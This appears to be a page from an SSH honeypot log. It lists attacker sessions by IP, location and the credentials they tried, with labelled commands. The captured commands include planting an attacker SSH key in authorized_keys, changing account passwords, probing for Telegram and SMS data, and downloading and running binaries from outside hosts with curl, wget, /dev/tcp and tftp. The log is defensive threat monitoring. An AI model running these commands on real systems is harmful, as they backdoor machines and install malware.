$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "password\nX8ckVHNmt3MP\nX8ckVHNmt3MP"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nX8ckVHNmt3MP\nX8ckVHNmt3MP\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 ghost_root_18 (165.154.6.116) β€” Hong Kong, Hong Kong Β· 1 session Β· 20 cmds
2026-04-18 02:22 EDT Β· as ubuntu/password
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa..." β†’ cat /proc/cpuinfo | grep name | wc -l β†’ echo -e "password\nOqZtBR0njHKF\nOqZtBR0njHKF"|passwd|bash β†’
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "password\nOqZtBR0njHKF\nOqZtBR0njHKF"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nOqZtBR0njHKF\nOqZtBR0njHKF\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 shadow_sol_2 (46.151.182.2) β€” Kyiv, Ukraine Β· 22 sessions Β· 22 cmds
2026-04-03 03:27 EDT Β· as deploy/deploy, guest/guest, mysql/mysql
Ran uname 3x across 3 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—22
🎭 specter_root_38 (36.64.174.210) β€” Jakarta, Indonesia Β· 1 session Β· 2 cmds
2026-04-18 01:14 EDT Β· as root/root
ip β†’ network mapping
$ /ip cloud print
$ ifconfig
↳ network mapping
🎭 wok_root_17 (115.231.76.176) β€” Jiaxing, China Β· 1 session Β· 5 cmds
2026-04-18 00:54 EDT Β· as root/123456
echo β†’ payload download from C2 β†’ execute from /tmp β†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ nohup $SHELL -c "curl http://47.238.85.17:7078/linux -o /tmp/UwYQrrd98x; if [ ! -f /tmp/UwYQrrd98x ]; then wget http://47.238.85.17:7078/linux -O /tmp/UwYQrrd98x; fi; if [ ! -f /tmp/UwYQrrd98x ]; then exec 6<>/dev/tcp/47.238.85.17/7078 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/UwYQrrd98x ; chmod +x /tmp/UwYQrrd98x && /tmp/UwYQrrd98x AJ4XFoiet7ZWzWfMMdVowki5vIySFg2MdXOQFhmIlLC0TsVj0jnCattKv7yClBMWkHVzhBURl5y1rk7FfNAw13zHTLaqm5YbFY10c54SE5aCtbdO22PXM8xjx0K4tJ2WFAOKeG+MEBOInrS/Vsdi0jrbZ8JJrrKciBAUjm9zixAPkZu+uEjEYtcg1GLbSr6xgpQUF5Bwco8ZF56esq5LzHzbN8xgwU6gtp6RGxqIcHKeEhCVgrW3VsRi2y7TYcJCubSYlQEXiW95iA0Tn4K1uUjPZNIx02vVTLmqnpUYDY94cJASFpGWsrxPxXLWN8xqw1a9t4KXGBaEd3GPEBGGnbS/Vsdi0y7QZsxWv7SYnBgRinVhhg0Tl5Sqv0rFfNM32mjCT7u1jJcQFpBzco8NFpCCtblOz2TSMdJn1Um+t4KREw2PdXaQERCRlry7QMVy1jfMYMFLoLWekQ8SinF7iBMQkp+kv0nDfNAz1HzESL2qnZYZGYhxcI4WAZKfqr9OxHzQM9J8x0y4vpSXFBCecHOPDRWXgrC+VsRj0DraYMZJrreViBATjG95iw0ZkZa9t0zMctY3zGDBS6C2nJ4PEI57eY0RGIadsbpWw3zTMdt8xE+/vpuRExaeeW+MEhaIn7agScJn2DfTYMdYurOCnhcNjHhvjxQRnJq0v0nMctYzzGPGQKC1mp4PGo57dooUFIadtL9Wx2LTLtBmzFa/tJicGBGKdWGPERGInb24VsRn0S7TYM9OvrWckwEXiW9zihEPl5u9oEzCaNQw1mYfa3LwTUrlNWjTI31tn3EmELth5uvRUdVeYns=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/UwYQrrd98x && /tmp/UwYQrrd98x AJ4XFoiet7ZWzWfMMdVowki5vIySFg2MdXOQFhmIlLC0TsVj0jnCattKv7yClBMWkHVzhBURl5y1rk7FfNAw13zHTLaqm5YbFY10c54SE5aCtbdO22PXM8xjx0K4tJ2WFAOKeG+MEBOInrS/Vsdi0jrbZ8JJrrKciBAUjm9zixAPkZu+uEjEYtcg1GLbSr6xgpQUF5Bwco8ZF56esq5LzHzbN8xgwU6gtp6RGxqIcHKeEhCVgrW3VsRi2y7TYcJCubSYlQEXiW95iA0Tn4K1uUjPZNIx02vVTLmqnpUYDY94cJASFpGWsrxPxXLWN8xqw1a9t4KXGBaEd3GPEBGGnbS/Vsdi0y7QZsxWv7SYnBgRinVhhg0Tl5Sqv0rFfNM32mjCT7u1jJcQFpBzco8NFpCCtblOz2TSMdJn1Um+t4KREw2PdXaQERCRlry7QMVy1jfMYMFLoLWekQ8SinF7iBMQkp+kv0nDfNAz1HzESL2qnZYZGYhxcI4WAZKfqr9OxHzQM9J8x0y4vpSXFBCecHOPDRWXgrC+VsRj0DraYMZJrreViBATjG95iw0ZkZa9t0zMctY3zGDBS6C2nJ4PEI57eY0RGIadsbpWw3zTMdt8xE+/vpuRExaeeW+MEhaIn7agScJn2DfTYMdYurOCnhcNjHhvjxQRnJq0v0nMctYzzGPGQKC1mp4PGo57dooUFIadtL9Wx2LTLtBmzFa/tJicGBGKdWGPERGInb24VsRn0S7TYM9OvrWckwEXiW9zihEPl5u9oEzCaNQw1mYfa3LwTUrlNWjTI31tn3EmELth5uvRUdVeYns=" &
↳ payload download from C2
$ head -c 3716336 > /tmp/28WHQe8XOR
↳ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
🎭 panda_root_8 (14.103.117.97) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-17 22:47 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 specter_root_22 (185.239.84.249) β€” Hong Kong, Hong Kong Β· 2 sessions Β· 4 cmds
2026-04-12 02:23 EDT Β· as oracle/Oracle2026!@#, oracle/oracle@
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 eagle_root_10 (69.149.23.135) β€” Atlanta, United States Β· 3 sessions Β· 6 cmds
2026-04-16 12:42 EDT Β· as oracle/oracle11!, oracle/oracle17, oracle/oracle@
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
🎭 yankee_sol (92.118.39.87) β€” Dallas, United States Β· 2150 sessions Β· 2150 cmds
2026-02-28 06:39 EST Β· as sol/123, sol/sol, solana/solana
Ran uname 2602x across 2602 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—2150
↳ obfuscated system check
🎭 phantom_root_26 (128.1.131.163) β€” Hong Kong, Hong Kong Β· 1 session Β· 2 cmds
2026-04-17 20:55 EDT Β· as oracle/oracle@
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 kimchi_root_4 (58.226.230.112) β€” Buk-gu, South Korea Β· 1 session Β· 9 cmds
2026-04-17 20:01 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 ghost_sol_3 (41.59.86.232) β€” Dar es Salaam, Tanzania Β· 1 session Β· 2 cmds
2026-04-17 18:35 EDT Β· as oracle/oracle22!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 gouda_sol_2 (2.57.122.208) β€” Amsterdam, The Netherlands Β· 866 sessions Β· 866 cmds
2026-02-28 05:34 EST Β· as sol/123, sol/sol, solana/solana
Ran uname 1047x across 1047 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—866
↳ obfuscated system check
🎭 shadow_sol (5.54.77.87) β€” PΓ‘trai, Greece Β· 1 session Β· 1 cmd
2026-04-17 18:24 EDT Β· as root/123456
echo
$ echo -e "\x6F\x6B"
🎭 phantom_root_27 (213.6.203.226) β€” Gaza, Palestine Β· 1 session Β· 2 cmds
2026-04-17 16:50 EDT Β· as oracle/oracle30!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 specter_root_39 (23.97.62.114) β€” Singapore, Singapore Β· 3 sessions Β· 3 cmds
2026-04-17 15:30 EDT Β· as root/123456, root/12345678, root/admin123
history snooping β†’ hostname discovery
$ history | tail -5 Γ—2
↳ history snooping
$ hostname
↳ hostname discovery
🎭 phantom_root_28 (163.61.156.121) β€” Gulshan, Bangladesh Β· 1 session Β· 1 cmd
2026-04-17 15:09 EDT Β· as admin/admin
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 star_sol (92.118.39.62) β€” Dallas, United States Β· 1340 sessions Β· 1340 cmds
2026-02-28 03:32 EST Β· as sol/123, sol/123456, sol/sol
Ran uname 1727x across 1727 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—1340
↳ obfuscated system check
🎭 phantom_root_17 (201.249.192.30) β€” Caracas, Venezuela Β· 1 session Β· 2 cmds
2026-04-17 13:53 EDT Β· as oracle/11111111
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 tulip_root_7 (51.163.39.213) β€” Amsterdam, Netherlands Β· 2 sessions Β· 22 cmds
2026-03-18 18:18 EDT Β· as docker/docker123, oracle/oracle@2026
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "docker123\nndvhZx8h2O6n\nndvhZx8h2O6n"|passwd|bash
$ Enter new UNIX password:
$ echo "docker123\nndvhZx8h2O6n\nndvhZx8h2O6n\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 eagle_sol_2 (92.118.39.76) β€” Dallas, United States Β· 195 sessions Β· 195 cmds
2026-02-28 11:30 EST Β· as sol/123, sol/sol, solana/solana
Ran uname 201x across 201 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—195
↳ obfuscated system check
🎭 phantom_root_29 (188.132.232.70) β€” Istanbul, Turkey Β· 2 sessions Β· 8 cmds
2026-04-17 10:33 EDT Β· as root/1234, root/admin123
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 gouda_root_7 (89.190.156.34) β€” Amsterdam, Netherlands Β· 5 sessions Β· 5 cmds
2026-04-16 20:09 EDT Β· as root/123456
payload download from C2
$ cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://89.190.156.34/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 89.190.156.34 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 89.190.156.34; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 89.190.156.34 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh Γ—5
↳ payload download from C2
🎭 silk_root_12 (120.48.113.47) β€” Beijing, China Β· 2 sessions Β· 2 cmds
2026-04-12 08:36 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m Γ—2
🎭 tulip_sol_2 (45.148.10.240) β€” Amsterdam, Netherlands Β· 722 sessions Β· 722 cmds
2026-02-28 04:53 EST Β· as admin/admin123, eth/eth, sol/123
Ran uname 900x across 900 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—722
↳ obfuscated system check
🎭 lantern_root_11 (47.98.254.52) β€” Hangzhou, China Β· 1 session Β· 1 cmd
2026-04-17 04:12 EDT Β· as deploy/deploy123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 wok_root_18 (8.130.16.117) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-17 04:11 EDT Β· as postgres/postgres
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 jade_root_6 (39.105.218.153) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-17 03:48 EDT Β· as oracle/Oracle@1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 dragon_root_13 (47.113.205.91) β€” Shenzhen, China Β· 1 session Β· 1 cmd
2026-04-17 03:39 EDT Β· as pi/raspberry
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 silk_root_13 (106.75.8.160) β€” Yangpu, China Β· 1 session Β· 1 cmd
2026-04-17 02:42 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 wok_root_19 (39.104.16.66) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-17 01:16 EDT Β· as root/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 ghost_root_52 (188.130.154.20) β€” Helsinki, Finland Β· 1 session Β· 20 cmds
2026-04-17 00:21 EDT Β· as test/test
chattr -ia .ssh β†’ rm -rf .ssh β†’ mkdir .ssh β†’ passwd test β†’ cat /proc/cpuinfo β†’ free -m β†’ ls -lh $(which ls) β†’ crontab -l β†’ uname -m β†’ top
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "test\nUPJp69aF0Bev\nUPJp69aF0Bev"|passwd|bash
$ Enter new UNIX password:
$ echo "test\nUPJp69aF0Bev\nUPJp69aF0Bev\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 shadow_root_28 (187.174.238.116) β€” Álvaro ObregΓ³n, Mexico Β· 1 session Β· 2 cmds
2026-04-17 00:09 EDT Β· as oracle/oracle12345
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 lotus_root_8 (165.101.251.150) β€” Mumbai, India Β· 1 session Β· 1 cmd
2026-04-16 23:30 EDT Β· as root/root
hostname discovery
$ hostname
↳ hostname discovery
🎭 liberty_sol (92.118.39.72) β€” Dallas, United States Β· 215 sessions Β· 215 cmds
2026-02-28 15:01 EST Β· as miner/miner, sol/123, sol/sol
Ran uname 150x across 150 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—215
↳ obfuscated system check
🎭 liberty_root_12 (129.146.128.34) β€” Phoenix, United States Β· 1 session Β· 9 cmds
2026-04-16 20:57 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 phantom_root_30 (68.178.160.148) β€” Singapore, Singapore Β· 1 session Β· 1 cmd
